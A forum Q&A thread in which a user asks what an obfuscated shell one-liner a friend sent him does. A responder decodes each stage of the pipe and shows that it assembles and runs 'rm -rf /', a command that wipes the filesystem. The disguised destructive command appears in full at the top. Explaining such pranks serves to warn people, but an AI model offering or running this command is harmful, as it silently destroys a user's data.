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Translation of command line arcana


A friend told me to run this on my linux box.

echo me.mo | tr oem fmr | sed 's#\.# -#;s/$/ \//' | sh

I think he's playing a prank on me, so I want to find out what it does.

The points are for (as best you can) a blow-by-blow translation of what's happening and what it means, as opposed to something general, like, "It's bad" or "It'll format your hard drive"

1 Solution

>echo me.mo |
print string me.mo  ... but this string will not be printed due to | symbol ... it will be used as input to next command

>tr oem fmr |
replace all o with f e with m and m with r ... so you get rm.rf    .... | will pipe it into the next command

>sed 's#\.# -#;s/$/ \//' |
will convert it into rm-rf /

is nothing but starts a shell

... so you start a shell with rm -rf / ... to erase your / recursively without prompting (all directories)
vlgAuthor Commented:
Brilliant, genius, thank you, exactly what I wanted, sunnycoder -- you are the Man.

I must learn more about sed.  What a mess to look at.

Thanks again,

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